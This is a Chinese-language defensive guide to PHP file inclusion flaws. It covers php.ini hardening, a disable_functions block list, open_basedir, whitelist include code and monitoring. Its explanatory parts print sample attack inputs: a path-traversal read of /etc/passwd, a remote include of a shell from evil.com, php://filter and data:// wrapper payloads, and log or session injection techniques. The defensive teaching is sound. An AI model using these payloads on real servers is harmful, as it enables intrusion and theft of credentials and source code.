PHP文件包含漏洞的根源在于程序对用户输入的控制不足,配合PHP语言本身灵活的文件加载机制,形成了攻击者可以利用的入口。这个问题的本质不是函数有缺陷,而是开发者错误地信任了外部数据。include、require、include_once、require_once这四个函数在接收一个变量作为参数时,如果这个变量来自GET、POST、COOKIE等用户可控的输入,且没有经过严格过滤,攻击者就能让服务器加载任意文件。更危险的是,PHP的封装协议比如php://input、php://filter、data://、expect://等,允许攻击者不仅读取文件,还能直接执行远程代码或窃取敏感数据。理解这个根源之后,防御策略就很清晰:要么彻底切断用户输入到达文件包含函数的路径,要么在运行时环境层面禁用那些危险的功能,让攻击者即使控制了参数也无法施展。
文件包含漏洞的两种基本形态本地文件包含漏洞是最常见的一种。攻击者通过修改参数值,让服务器读取本不该公开的文件。典型场景里,URL中有一个参数像这样:?page=home.php,后端代码直接写成include($_GET['page'])。攻击者把参数改成?page=../../../etc/passwd,服务器就会把系统密码文件的内容输出到页面上。如果PHP版本低于5.3.4或者配置中cgi.fix_pathinfo开启,空字节截断攻击也能绕过一些简单的后缀限制。Windows系统下路径分隔符的差异还会带来额外的绕过方式,比如用..\..\..\windows\win.ini来读取系统文件。
远程文件包含漏洞的危害更大。当PHP配置中allow_url_include设置为On时,include函数可以直接加载远程服务器上的PHP文件。攻击者只需在自己的服务器上放置一个恶意脚本,然后通过?page=http://evil.com/shell.txt这样的参数让目标服务器加载并执行它。这个恶意脚本会以当前Web服务用户的权限运行,能执行系统命令、读写文件、连接数据库。即使allow_url_include关闭,如果allow_url_fopen开启,攻击者仍然可以通过php://input协议直接提交POST数据作为PHP代码执行,这是很多实际攻击中使用的技巧。
封装协议是漏洞利用的关键武器PHP的流封装协议设计初衷是提供统一的资源访问接口,但在文件包含场景下变成了攻击者的利器。php://filter允许攻击者以Base64编码的方式读取文件内容,比如?page=php://filter/convert.base64-encode/resource=config.php,这样配置文件的内容就被编码输出,不会因为其中的PHP标签而被执行,攻击者拿到Base64字符串解码后就能看到数据库密码等敏感信息。php://input让攻击者能在POST请求体中直接写入PHP代码,然后通过包含这个流来执行。data://协议允许直接在URL中嵌入代码,像?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==这样的请求就能执行phpinfo函数。expect://协议在安装了相应扩展后甚至能直接执行系统命令。这些协议的危害程度取决于allow_url_include和allow_url_fopen的配置,但它们的存在本身就扩大了攻击面。
禁用函数的原理和实际效果在PHP配置文件php.ini中设置disable_functions可以阻止脚本调用指定的内置函数。对于文件包含漏洞来说,攻击者拿到代码执行权限后,通常会调用system、exec、passthru、shell_exec、popen、proc_open这类函数来执行系统命令,或者用file_get_contents、fopen、curl_exec来读取文件,用file_put_contents、fwrite来写入Webshell。禁用这些函数能大幅削弱攻击者的后续操作能力。但这里有一个关键认知:disable_functions只是限制了直接调用这些函数,如果服务器上存在其他可执行程序或者攻击者通过PHP扩展、COM组件、LD_PRELOAD等方式绕过,限制就会失效。所以禁用函数是纵深防御的一环,不能作为唯一防线。
生产环境中推荐的禁用函数列表下面这份列表覆盖了命令执行、文件操作、进程控制、信息探测等攻击面,适合大多数Web应用场景。配置时把这段放在php.ini中:
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec,putenv,apache_setenv,ini_set,create_function,assert,phpinfo,show_source,highlight_file,parse_ini_file,dl,set_time_limit,ignore_user_abort,chmod,chown,chgrp,link,symlink,readlink,proc_nice,proc_terminate,proc_close,proc_get_status,stream_socket_server,stream_socket_client,fsockopen,pfsockopen,socket_create,socket_create_listen,socket_accept,socket_bind,socket_listen,socket_connect,curl_exec,curl_multi_exec,file_get_contents,file_put_contents,fopen,fputs,fwrite,ftruncate,flock,rename,move_uploaded_file,copy,unlink,mkdir,rmdir,scandir,opendir,readdir,glob,exec_dir
这份列表需要根据实际业务调整。如果应用依赖curl库发起HTTP请求,就不能禁用curl_exec。如果用了文件缓存机制,file_get_contents和file_put_contents也不能禁。WordPress这类CMS需要fopen和fwrite来管理文件。调整的原则是:保留业务必需的函数,禁掉一切不用的危险函数。每禁用一个函数前,先在测试环境验证应用是否正常运行。phpinfo函数在生产环境必须禁用,它能泄露PHP版本、扩展列表、配置路径、环境变量等大量敏感信息,对攻击者的信息收集阶段帮助极大。assert函数在PHP 7.2之后虽然不能直接执行代码了,但老版本中assert('phpinfo()')这样的用法等同于eval,必须禁用。create_function内部使用了eval,也应该禁用。
open_basedir的配置方法open_basedir是比禁用函数更底层的限制手段,它限定了PHP进程能访问的文件系统路径范围。即使攻击者成功包含了文件或者绕过了函数限制,也只能在指定的目录内操作。配置方式是在php.ini中设置:
open_basedir = "/var/www/html:/tmp:/usr/share/php"
多个路径用冒号分隔,Linux和Windows都用冒号。路径末尾不要加斜杠。这个设置生效后,PHP脚本尝试访问路径外的文件时会收到警告并被拒绝。需要注意,open_basedir不影响include和require加载PHP文件,所以不能直接阻止文件包含漏洞本身,但能限制攻击者读取/etc/passwd这类系统文件。配置时要把应用需要的所有目录都加进去,包括上传目录、缓存目录、日志目录、第三方库目录。漏掉任何一个都可能导致应用报错。session保存路径如果在/tmp之外,也需要加入。如果应用需要执行外部命令,命令的可执行文件路径也要在范围内,不过更安全的做法是禁用命令执行函数。
allow_url_include和allow_url_fopen的安全配置这两个配置项直接决定了远程文件包含攻击是否可行。allow_url_include控制include、require等函数能否加载远程文件,生产环境必须设置为Off。allow_url_fopen控制fopen、file_get_contents等函数能否打开远程URL,如果应用不需要从远程获取资源,也应该设置为Off。配置方式:
allow_url_include = Off allow_url_fopen = Off
如果业务需要allow_url_fopen开启,比如要从远程API获取数据,那就必须确保allow_url_include保持关闭。这种情况下攻击者仍然可以通过php://input等协议进行攻击,所以还需要配合其他防护措施。一个常见的误区是认为关闭了allow_url_include就万事大吉,实际上本地文件包含配合php://filter读取源码、配合日志文件注入Webshell等攻击手法完全不依赖远程加载。
日志文件注入的防护攻击者通过文件包含漏洞包含Web服务器的访问日志或错误日志,如果日志中记录了攻击者构造的请求内容,其中包含PHP代码,这段代码就会被执行。Apache的access.log、Nginx的access.log、PHP的错误日志都可能成为攻击目标。防护方法:确保日志目录不在Web可访问路径下,设置严格的日志文件权限,定期清理或轮转日志。更根本的防护是代码层面杜绝文件包含漏洞,让攻击者无法包含任何文件。如果日志文件路径被open_basedir排除在外,攻击者即使知道路径也无法包含。
Session文件包含攻击的应对PHP的Session文件默认存储在/tmp目录下,文件名是sess_加上Session ID。攻击者如果能控制Session ID,就能预测Session文件路径,然后通过文件包含漏洞包含这个文件。攻击者先在某个页面注册Session,在Session变量中写入PHP代码,然后计算出Session文件路径,最后通过文件包含参数加载它。防护措施:修改session.save_path到一个非公开目录,设置session.use_strict_mode为On防止攻击者自定义Session ID,使用session.use_only_cookies为On并设置HttpOnly和Secure标志。代码层面对Session数据的可信度要有清醒认识,不要假设Session数据是安全的。
PHP版本和扩展层面的加固PHP 7.4之后的版本在安全性上有显著提升,assert不再支持eval模式,create_function已被废弃。升级到PHP 8.x能获得更严格的类型检查和更多的安全特性。Suhosin补丁曾经是PHP安全加固的重要工具,它提供了函数白名单、加密Session、限制包含路径等功能。虽然官方PHP已经吸收了Suhosin的部分特性,但Suhosin的细粒度控制仍然有价值。Snuffleupagus是一个现代化的PHP安全模块,能在运行时拦截危险函数调用、检测文件包含攻击、限制eval的使用。这些工具提供了比disable_functions更灵活和更难以绕过的防护。
代码层面的根本解决方案所有环境配置都是缓解措施,真正的修复在代码里。文件包含的参数绝不应该直接来自用户输入。如果业务需要动态加载页面,用一个映射数组把允许的值列出来:
$allowed_pages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php'
];
$page = $_GET['page'] ?? 'home';
if (isset($allowed_pages[$page])) {
include($allowed_pages[$page]);
} else {
include('pages/404.php');
}
这种白名单方式从根本上杜绝了任意文件包含的可能。如果映射表无法满足需求,必须使用用户输入来构建文件路径,那就用basename()函数去掉路径中的目录跳转字符,再用realpath()解析出真实路径,然后检查这个路径是否在允许的目录范围内。绝对不要用黑名单过滤..和/等字符,绕过方法太多。也不要用正则表达式去匹配危险模式,攻击者的想象力总能找到绕过方式。白名单是唯一可靠的方法。
监控和检测的实际操作生产环境中部署Web应用防火墙可以拦截明显的文件包含攻击请求。ModSecurity的免费规则集包含文件包含检测规则,能识别../、php://、data://等特征。应用层面记录所有include和require的参数到日志中,当参数中出现协议名或路径跳转时触发告警。文件完整性监控工具如AIDE或Tripwire能发现Web目录下新增的Webshell文件。定期扫描访问日志,查找包含php://、expect://、data://的请求。这些监控手段不能替代代码修复,但能在攻击发生时及时发现和响应。
文件包含漏洞的防御需要多层配合。代码层面的白名单控制是核心,php.ini的allow_url_include和allow_url_fopen配置切断远程攻击路径,disable_functions和open_basedir限制攻击者得手后的操作空间,WAF和日志监控提供检测和响应能力。每一层都有被绕过的可能,但多层叠加后攻击成本会大幅上升。实际工作中,先修复代码漏洞,再调整PHP配置,最后部署监控,按这个顺序推进能获得最好的防护效果。
